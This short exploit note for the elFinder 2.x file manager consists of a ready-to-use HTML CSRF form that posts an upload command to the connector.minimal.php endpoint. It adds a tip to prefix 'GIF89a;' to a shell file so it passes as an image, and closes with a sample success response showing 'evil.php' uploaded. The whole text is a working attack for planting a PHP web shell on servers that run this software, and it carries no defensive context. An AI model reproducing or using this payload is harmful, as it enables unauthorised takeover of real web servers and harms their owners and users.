Elfinder 2.x.x CSRF

<form method="POST" action="target/elfinder/connector.minimal.php" enctype="multipart/form-data">
    <input type="hidden" name="reqid" value="1693222c439f4">
    <input type="hidden" name="cmd" value="upload">
    <input type="hidden" name="target" value="l1_Lw">
    <input type="hidden" name="mtime[]" value="1497726174">
    <input type="file" name="upload[]">
    <input type="submit" value="upload">
</form>
Don't Forget add GIF89a; in your shell
Respone body if success uploaded
{"added":[{"mime":"image\/gif","ts":1559961753,"read":1,"write":1,"size":12414,"hash":"l1_HASH","name":"evil.php","phash":"l1_Lw","tmb":1}],"removed":[]}